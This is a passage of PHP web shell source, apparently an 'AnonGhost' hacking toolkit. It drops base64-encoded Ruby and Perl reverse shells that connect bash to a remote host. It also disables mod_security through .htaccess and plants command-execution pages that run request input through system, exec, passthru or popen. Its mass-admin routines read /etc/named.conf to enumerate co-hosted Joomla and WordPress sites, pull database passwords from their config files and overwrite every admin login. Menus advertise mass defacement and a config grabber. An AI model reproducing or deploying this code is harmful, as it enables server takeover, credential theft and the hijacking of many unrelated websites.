Jy4kbWUuJyI+DQo8cD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIHJvd3M9IjEzIiBuYW1lPSJTMSIgY29scz0iNzAiID4nOw0KDQppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7DQplY2hvICRfR0VUWydleGVjbWV0aG9kJ10oJF9HRVRbJ2NvbW1hbmQnXSk7fQ0KaWYgKHN0cmxlbigkX1BPU1RbJ2NvbW1hbmQnXSk+MSAmJiAkX1BPU1RbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7DQplY2hvICRfUE9TVFsnZXhlY21ldGhvZCddKCRfUE9TVFsnY29tbWFuZCddKTt9DQoNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddPT0icG9wZW4iKXsNCnBvcGVuKCRfR0VUWydjb21tYW5kJ10sInIiKTt9DQoNCmVjaG8nPC90ZXh0YXJlYT48L3A+DQo8cD48Y2VudGVyPjxmb250IGZhY2U9IkdlbmV2YSIgYWxpZ249ImNlbnRlciIgc2l6ZT0iMiIgY29sb3I9IiMwMDc3MDAiPklmIG5vdGhpbmcgd29yayBpdCBtZWFucyB0aGF0IHJ1YnkgaXMgbm90IGVuYWJsZWQgaW4gdGhpcyBzZXJ2ZXIgOig8L2ZvbnQ+PC9jZW50ZXI+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8Zm9udCBmYWNlPSJHZW5ldmEiIGFsaWduPSJjZW50ZXIiIHNpemU9IjMiIGNvbG9yPSIjMDA5OTAwIj5Db21tYW5kOiBydWJ5ICcuZ2V0Y3dkKCkuJy9yZXZiYWNray5yYiBwb3J0IGhvc3Q8L2ZvbnQ+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InZ3IiBzaXplPSI1MCIgdmFsdWU9ImNtZCI+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb21tYW5kIiBzaXplPSI0MyI+IDxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KPG9wdGlvbiB2YWx1ZT0ic3lzdGVtIj5TeXN0ZW08L29wdGlvbj4gIDxvcHRpb24gdmFsdWU9ImV4ZWMiPkV4ZWM8L29wdGlvbj4gIDxvcHRpb24gdmFsdWU9InBhc3N0aHJ1Ij5QYXNzdGhydTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBvcGVuIj5wb3Blbjwvb3B0aW9uPg0KPC9zZWxlY3Q+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIj4NCjwvcD48L2Zvcm0+JzsNCj8+';
3374$file = fopen("rubbbber.php" ,"w+");
3375$write = fwrite ($file ,base64_decode($merdeeeee));
3376fclose($file);
3377
3378echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Ruby Back Connect Shell</span><center><br><iframe src=rubrub/rubbbber.php width=75% height=60% frameborder=0></iframe></div></center>";
3379}
3380
3381
3382if(isset($_GET['action']) && $_GET['action'] == 'prlbckacnonect'){
3383echo '<center><b class="conte">
3384<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
3385<a href="?action=cmd">Command Execution</a> -
3386<a href="?action=com64">Base64 Command</a> -
3387<a href="?action=vgrab">Config Grabber</a> -
3388<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
3389<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
3390<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
3391<a href="?action=cari">Find Directory Writable/Readable</a> -
3392<a href="?action=zonh">Zone-h Notifier</a> -
3393<a href="?action=shhhshell">Shtml Command Shell</a> -
3394<a href="?action=beko">Back connect Simple</a> -
3395<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
3396<a href="?action=prlbckacnonect">Perl BackConnect</a> -
3397<a href="?action=pythnonbakcncete">Python BackConnect</a> -
3398<a href="?action=exploit">Exploit</a> -
3399<a href="?action=whmcskillrer">Whcms Killer</a> -
3400<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
3401<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
3402</center>
3403</b>';
3404
3405mkdir('Backperlrev', 0755);
3406chdir('Backperlrev');
3407$kokwkwkwkwkw = ".htaccess";
3408$wkwkwkwkw_adi = "$kokwkwkwkwkw";
3409$wkwkwkwkw = fopen ($wkwkwkwkw_adi , 'w') or die ("wkwkwkwkw açılamadı!");
3410$zilzil = "<IfModule mod_security.c>
3411SecFilterEngine Off
3412SecFilterScanPOST Off
3413</IfModule>";
3414fwrite ( $wkwkwkwkw , $zilzil ) ;
3415fclose ($wkwkwkwkw);
3416$shellololol = 'dXNlIElPOjpTb2NrZXQ7DQokc3lzdGVtICA9ICcvYmluL2Jhc2gnOw0KJEFSR0M9QEFSR1Y7DQpwcmludCAiQW5vbkdob3N0IEJBQ0stQ09OTkVDVCBCQUNLRE9PUlxuXG4iOw0KaWYgKCRBUkdDIT0yKSB7DQogICBwcmludCAiVXNhZ2U6ICQwIFtIb3N0XSBbUG9ydF0gXG5cbiI7DQogICBkaWUgIkV4OiAkMCAxMjcuMC4wLjEgMjEyMSBcbiI7DQp9DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0IDooXG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdCA6KFxuIjsNCnByaW50ICJbKl0gUmVzb2x2aW5nIEhvc3ROYW1lXG4iOw0KcHJpbnQgIlsqXSBDb25uZWN0aW5nLi4uICRBUkdWWzBdIFxuIjsNCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGwgXG4iOw0KcHJpbnQgIlsqXSBDb25uZWN0ZWQgdG8gcmVtb3RlIGhvc3QgXCEvIFxuIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiQW5vbkdob3N0IEJBQ0stQ09OTkVDVCBCQUNLRE9PUiAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVDtlY2hvIC0tPT1TeXN0ZW1pbmZvPT0tLTsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLTsgaWQ7ZWNobztlY2hvIC0tPT1EaXJlY3Rvcnk9PS0tOyBwd2Q7ZWNobzsgZWNobyAtLT09U2hlbGw9PS0tICIpOw0Kc3lzdGVtKCRzeXN0ZW0pOw==';
3417
3418$zerer = fopen("reverse.pl" ,"w+");
3419$write = fwrite ($zerer ,base64_decode($shellololol));
3420fclose($zerer);
3421chmod("reverse.pl",0755);
3422
3423//extract php command shell
3424$zonop = 'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBQZXJsIENvbm5lY3QgU2hlbGwgUHJpdjg8L3RpdGxlPjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3d3dzE0LjB6ejAuY29tLzIwMTQvMDYvMDQvMjEvMzk2NTU0Mzk0LnBuZyIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5eyBiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyICFpbXBvcnRhbnQ7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzojMDAwIDBweCAycHggN3B4O30gICAgICBhe3RleHQtZGVjb3JhdGlvbjpub25lOyBmb250LWZhbWlseTogVGFob21hLCBHZW5ldmE7IGNvbG9yOiMwMDc3MDA7IHBhZGRpbmc6MnB4IDJweDt9ICAgICAgYTpob3Zlcntjb2xvcjojMDA5OTAwOyB0ZXh0LXNoYWRvdzojMDBmZjAwIDBweCAwcHggM3B4O30JICAuYXJlYSB7IGNvbG9yOiAjMDBiYjAwOyBmb250LXNpemU6IDlwdDsgdGV4dC1zaGFkb3c6IzAwMDAwMCAwcHggMnB4IDdweDsgYm9yZGVyOiBzb2xpZCAwcHggIzAwNzcwMDsgYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudDsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwOTkwMDsgICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYigwLDExOSwwKSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYigwLDExOSwwKSAwcHggMHB4IDRweDsgfQkgIGlucHV0W3R5cGU9c3VibWl0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwNzcwOyAgZm9udC13ZWlnaHQ6IGJvbGQ7IHRleHQtYWxpZ246IGNlbnRlcjsgIHRleHQtc2hhZG93OiAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMyk7ICBiYWNrZ3JvdW5kOiAjYWVhZWFlOyAgYmFja2dyb3VuZC1jbGlwOiBwYWRkaW5nLWJveDsgIGJvcmRlcjogMXB4IHNvbGlkICMyODQ0NzM7ICBib3JkZXItYm90dG9tLWNvbG9yOiAjMjIzYjY2OyAgYm9yZGVyLXJhZGl1czogNHB4OyAgY3Vyc29yOiBwb2ludGVyOyAgYmFja2dyb3VuZC1pbWFnZTotd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogLW1vei1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IC1vLWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgI2VhZWFlYSwgI2QwZDBkMCk7ICAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyAgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7IH0gaW5wdXRbdHlwZT10ZXh0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwOTkwMDsgdGV4dC1zaGFkb3c6ICM3Nzc3NzcgMHB4IDBweCAzcHg7IGJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA3NzAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYig4NSw4NSw4NSkgMHB4IDBweCA0cHg7fSBpbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXIsIGlucHV0W3R5cGU9dGV4dF06aG92ZXJ7IGNvbG9yOiAjZmZmZmZmOyB0ZXh0LXNoYWRvdzogIzAwNjYwMCAwcHggMHB4IDRweDsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwZGQwMDsgYm9yZGVyOiAxcHggc29saWQgIzAwZGQwMDsgICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4O30gc2VsZWN0eyBwYWRkaW5nOiAzcHg7IHdpZHRoOiAxNjJweDsgY29sb3I6ICMwMGFhMDA7IHRleHQtc2hhZG93OiMwMDAgMHB4IDJweCA3cHg7IGJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGFhMDA7ICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDg1LCA4NSwgODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDg1LCA4NSwgODUpIDBweCAwcHggNHB4O30gc2VsZWN0OmhvdmVyeyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDt9ICAgI2NvbW1hbmRzeyBtYXJnaW4tbGVmdDogMzUwcHg7IG1hcmdpbi1yaWdodDogMzUwcHg7IH0gb3B0aW9ueyBjb2xvcjogIzc3Nzc3NzsgfTwvc3R5bGU+DQo8P3BocA0KZWNobyAnPGNlbnRlcj48Zm9udCBjb2xvcj0iIzAwNzcwMCIgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMXB0Ij5Vc2FnZTogcmV2ZXJzZS5wbCBbSG9zdF0gW1BvcnRdPC9mb250Pjxicj4nOw0KZWNobyc8cCBhbGlnbj0iY2VudGVyIj4gDQo8aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3OS4wenowLmNvbS8yMDE0LzA4LzIwLzE5LzQ3MDA3MTkzOS5wbmciPjwvcD48Zm9udCBmYWNlPSJHZW5ldmEiIGFsaWduPSJjZW50ZXIiIHNpemU9IjIiIGNvbG9yPSIjMDA3NzAwIj4gQ29kZWQgQnkgTWF1cml0YW5pYSBBdHRhY2tlciA8L2ZvbnQ+PGJyPg0KPGZvcm0gbWV0aG9kPWdldCBhY3Rpb249IicuJG1lLiciPg0KPHRleHRhcmVhIGNsYXNzPSJhcmVhIiByb3dzPSIxMyIgbmFtZT0iUzEiIGNvbHM9IjcwIiA+JzsNCg0KaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ10hPSJwb3BlbiIpew0KZWNobyAkX0dFVFsnZXhlY21ldGhvZCddKCRfR0VUWydjb21tYW5kJ10pO30NCmlmIChzdHJsZW4oJF9QT1NUWydjb21tYW5kJ10pPjEgJiYgJF9QT1NUWydleGVjbWV0aG9kJ10hPSJwb3BlbiIpew0KZWNobyAkX1BPU1RbJ2V4ZWNtZXRob2QnXSgkX1BPU1RbJ2NvbW1hbmQnXSk7fQ0KDQppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXT09InBvcGVuIil7DQpwb3BlbigkX0dFVFsnY29tbWFuZCddLCJyIik7fQ0KDQplY2hvJzwvdGV4dGFyZWE+DQo8cD48Y2VudGVyPklmIG5vdGhpbmcgd29yayBpdCBtZWFucyB0aGF0IHBlcmwgaXMgbm90IGVuYWJsZWQgaW4gdGhpcyBzZXJ2ZXIgOig8L2NlbnRlcj48L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48c3Ryb25nPkNvbW1hbmQ6IHBlcmwgcmV2ZXJzZS5wbCB5b3VySVAgUG9ydDwvc3Ryb25nPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ2dyIgc2l6ZT0iNTAiIHZhbHVlPSJjbWQiPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgc2l6ZT0iNDMiPiA8c2VsZWN0IG5hbWU9ZXhlY21ldGhvZD4NCjxvcHRpb24gdmFsdWU9InN5c3RlbSI+U3lzdGVtPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJleGVjIj5FeGVjPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJwYXNzdGhydSI+UGFzc3RocnU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3BlbiI+cG9wZW48L29wdGlvbj4NCjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSI+DQo8L3A+PC9mb3JtPic7DQo/Pg==';
3425$file = fopen("kit.php" ,"w+");
3426$write = fwrite ($file ,base64_decode($zonop));
3427fclose($file);
3428
3429echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Perl Connect Shell Priv8</span></b><center><br><iframe src=Backperlrev/kit.php width=75% height=60% frameborder=0></iframe></div></center>";
3430}
3431
3432if(isset($_GET['action']) && $_GET['action'] == 'joomla'){
3433echo '<center><b class="conte">
3434<a href="?action=mass">Mass Deface Dirs</a> -
3435<a href="?action=joomla">Mass Change Admin Joomla</a> -
3436<a href="?action=vb">Mass Change Admin vBulletin</a> -
3437<a href="?action=wp">Mass Change Admin WordPress</a> -
3438<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
3439<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
3440<a href="?action=joommlallainxc">Joomla Index Changer</a> -
3441<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
3442<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
3443</b>';
3444echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Change Admin Joomla</span><center><br>';
3445if(isset($_POST['s'])){
3446
3447$file = @file_get_contents('joomla.txt');
3448
3449$ex = explode("\n",$file);
3450
3451
3452echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Configs </b></font></td><td> <font color='#e4e4e4'><b>Result </b></font></td></div>";
3453flush();
3454
3455
3456foreach ($ex as $exp){
3457
3458$es = explode("||",$exp);
3459
3460$config = $es[0];
3461
3462$domin = $es[1];
3463
3464$domins = trim($domin).'';
3465
3466$readconfig = @file_get_contents(trim($config));
3467
3468if(ereg('JConfig',$readconfig)){
3469
3470
3471$pass = ex($readconfig,'$password = \'',"';");
3472$userdb = ex($readconfig,'$user = \'',"';");
3473$db = ex($readconfig,'$db = \'',"';");
3474$fix = ex($readconfig,'$dbprefix = \'',"';");
3475$tab = $fix.'users';
3476$con = @mysql_connect('localhost',$userdb,$pass);
3477$db = @mysql_select_db($db,$con);
3478$query = @mysql_query("UPDATE `$tab` SET `username` ='virusa'");
3479$query3 = @mysql_query("UPDATE `$tab` SET `password` ='0a3329119bf465dce95057a37ec91152:TL1fIDogLJU4bHHcgQWETu8GN67fUd8'");
3480if ($query and $query3 ){$r = '<b style="color: #ee5500">Succeed </b>user [virusa] pass [worm]</b>';}else{$r = '<b style="color:red">failed</b>';}
3481$domins = trim($domin).'';
3482echo "<tr>
3483<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
3484<td><div class='cone'><a target='_blank' href='$config'>config</a></td><td>".$r."</td></div></tr>";
3485flush();
3486
3487}else{
3488
3489echo "<tr>
3490<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
3491<td><div class='cone'><a target='_blank' href='http://$exp'>config</a></div></td><td><b style='color:red'>failed</b></td></tr>";
3492flush();
3493
3494}
3495}
3496
3497die();
3498
3499}
3500
3501if(!is_file('named.txt')){
3502
3503$d00m = @file("/etc/named.conf");
3504
3505flush();
3506
3507}else{
3508
3509$d00m = file("named.txt");
3510
3511}
3512if(!$d00m)
3513{
3514die ("<meta http-equiv='refresh' content='0; url=?action=read'/>");
3515}
3516else
3517{
3518echo "<br><div class='tmp'>
3519<form method='POST' action='$pg?action=joomla'>
3520<input type='submit' value='Mass change Admin' />
3521<input type='hidden' value='1' name='s' />
3522</form><br>
3523<table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Config </b></font></td><td> <font color='#e4e4e4'><b>Result </b></font></td>";
3524
3525$f = fopen('joomla.txt','w');
3526
3527foreach($d00m as $dom){
3528
3529if(eregi("zone",$dom)){
3530
3531preg_match_all('#zone "(.*)"#', $dom, $domvw);
3532
3533if(strlen(trim($domvw[1][0])) > 2){
3534
3535$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
3536
3537
3538$wpl=$pageURL."/sim/rut/home/".$user['name']."/public_html/configuration.php";
3539$wpp=get_headers($wpl);
3540$wp=$wpp[0];
3541
3542$wp2=$pageURL."/sim/rut/home/".$user['name']."/public_html/blog/configuration.php";
3543$wpp2=get_headers($wp2);
3544$wp12=$wpp2[0];
3545
3546$wp3=$pageURL."/sim/rut/home/".$user['name']."/public_html/joomla/configuration.php";
3547$wpp3=get_headers($wp3);
3548$wp13=$wpp3[0];
3549
3550
3551$pos = strpos($wp, "200");
3552$config=" ";
3553
3554if (strpos($wp, "200") == true )
3555{
3556 $config= $wpl;
3557}
3558elseif (strpos($wp12, "200") == true)
3559{
3560 $config= $wp2;
3561}
3562elseif (strpos($wp13, "200") == true)
3563{
3564 $config= $wp3;
3565}
3566else
3567{
3568continue;
3569
3570}
3571flush();
3572
3573$dom = $domvw[1][0];
3574
3575$w = fwrite($f,"$config||$dom \n");
3576if($w){$r = '<b style="color: #ee5500">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
3577
3578echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
3579<td><div class='cone'><a href='$config'>config</a></div></td><td>".$r."</td></tr>";
3580
3581flush();
3582
3583}
3584}
3585}
3586}
3587echo "</table></div><br><br>";
3588}
3589if(isset($_GET['action']) && $_GET['action'] == 'wp'){
3590echo '<center><b class="conte">
3591<a href="?action=mass">Mass Deface Dirs</a> -
3592<a href="?action=joomla">Mass Change Admin Joomla</a> -
3593<a href="?action=vb">Mass Change Admin vBulletin</a> -
3594<a href="?action=wp">Mass Change Admin WordPress</a> -
3595<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
3596<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
3597<a href="?action=joommlallainxc">Joomla Index Changer</a> -
3598<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
3599<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
3600</b>';
3601echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Change Admin Mass WordPress</span><center><br>';
3602if(isset($_POST['s'])){
3603
3604$file = @file_get_contents('wp.txt');
3605
3606$ex = explode("\n",$file);
3607
3608echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Configs </b></font></td><td> <font color='#e4e4e4'><b>Result </b></font></td></div>";
3609flush();
3610flush();
3611
3612
3613foreach ($ex as $exp){
3614
3615$es = explode("||",$exp);
3616
3617$config = $es[0];
3618
3619$domin = $es[1];
3620
3621$domins = trim($domin).'';
3622
3623$readconfig = @file_get_contents(trim($config));
3624
3625if(ereg('wp-settings.php',$readconfig)){
3626
3627
3628
3629$pass = ex($readconfig,"define('DB_PASSWORD', '","');");
3630
3631$userdb = ex($readconfig,"define('DB_USER', '","');");
3632
3633$db = ex($readconfig,"define('DB_NAME', '","');");
3634
3635$fix = ex($readconfig,'$table_prefix = \'',"';");
3636
3637$tab = $fix.'users';
3638
3639$con = @mysql_connect('localhost',$userdb,$pass);
3640
3641$db = @mysql_select_db($db,$con);
3642
3643$query = @mysql_query("UPDATE `$tab` SET `user_login` ='virusa'") or die;
3644
3645$query = @mysql_query("UPDATE `$tab` SET `user_pass` ='$1$4z/.5i..$9aHYB.fUHEmNZ.eIKYTwx/'") or die;
3646
3647
3648
3649if ($query){$r = '<b style="color: #ee5500">Succeed </b>user [virusa] pass [1]</b>';}
3650
3651else
3652
3653{
3654
3655$r = '<b style="color:red">failed</b>';
3656
3657}
3658
3659$domins = trim($domin).'';
3660
3661echo "<tr>
3662<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
3663<td><div class='cone'><a target='_blank' href='$config'>config</a></div></td><td>".$r."</td></tr>";
3664
3665flush();
3666flush();
3667
3668}else{
3669
3670echo "<tr>
3671<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
3672<td><div class='cone'><a target='_blank' href='http://$config'>config</a></div></td><td><b style='color:red'>failed2</b></td></tr>";
3673
3674flush();
3675flush();
3676
3677}
3678}
3679
3680die();
3681
3682}
3683
3684if(!is_file('named.txt')){
3685
3686$d00m = @file("/etc/named.conf");
3687
3688}else{
3689
3690$d00m = @file("named.txt");
3691
3692}
3693if(!$d00m)
3694{
3695die ("<meta http-equiv='refresh' content='0; url=?action=read'/>");
3696}
3697else
3698{
3699echo "<br><div class='tmp'>
3700<form method='POST' action='$pg?action=wp'>
3701<input type='submit' value='Mass Change Admin' />
3702<input type='hidden' value='1' name='s' />
3703</form>
3704<br>
3705<table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Config </b></font></td><td> <font color='#e4e4e4'><b>Result </b></font></td>";
3706
3707flush();
3708flush();
3709
3710$f = fopen('wp.txt','w');
3711
3712foreach($d00m as $dom){
3713
3714if(eregi("zone",$dom)){
3715
3716preg_match_all('#zone "(.*)"#', $dom, $domvw);
3717
3718if(strlen(trim($domvw[1][0])) > 2){
3719
3720$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
3721
3722$wpl=$pageURL."/sim/rut/home/".$user['name']."/public_html/wp-config.php";
3723$wpp=get_headers($wpl);
3724$wp=$wpp[0];
3725
3726$wp2=$pageURL."/sim/rut/home/".$user['name']."/public_html/blog/wp-config.php";
3727$wpp2=get_headers($wp2);
3728$wp12=$wpp2[0];
3729
3730$wp3=$pageURL."/sim/rut/home/".$user['name']."/public_html/wp/wp-config";
3731$wpp3=get_headers($wp3);
3732$wp13=$wpp3[0];
3733
3734$pos = strpos($wp, "200");
3735$config=" ";
3736
3737if (strpos($wp, "200") == true )
3738{
3739 $config= $wpl;
3740}
3741elseif (strpos($wp12, "200") == true)
3742{
3743 $config= $wp2;
3744}
3745elseif (strpos($wp13, "200") == true)
3746{
3747 $config= $wp3;
3748}
3749else
3750{
3751continue;
3752
3753}
3754flush();
3755
3756$dom = $domvw[1][0];
3757
3758$w = fwrite($f,"$config||$dom \n");
3759if($w){$r = '<b style="color: #ee5500">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
3760
3761echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
3762<td><div class='cone'><a href='$config'>Config</a></div></td><td>".$r."</td></tr>";
3763flush();
3764flush();
3765
3766flush();
3767
3768}
3769}
3770}
3771}
3772echo "</table></div><br><br>";
3773}
3774if(isset($_GET['action']) && $_GET['action'] == 'vb'){
3775echo '<center><b class="conte">
3776<a href="?action=mass">Mass Deface Dirs</a> -
3777<a href="?action=joomla">Mass Change Admin Joomla</a> -
3778<a href="?action=vb">Mass Change Admin vBulletin</a> -
3779<a href="?action=wp">Mass Change Admin WordPress</a> -
3780<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
3781<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
3782<a href="?action=joommlallainxc">Joomla Index Changer</a> -
3783<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
3784<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
3785</b>';
3786echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Change Admin vBulletin</span><center><br>';
3787if(isset($_POST['s'])){
3788
3789$file = @file_get_contents('vb.txt');
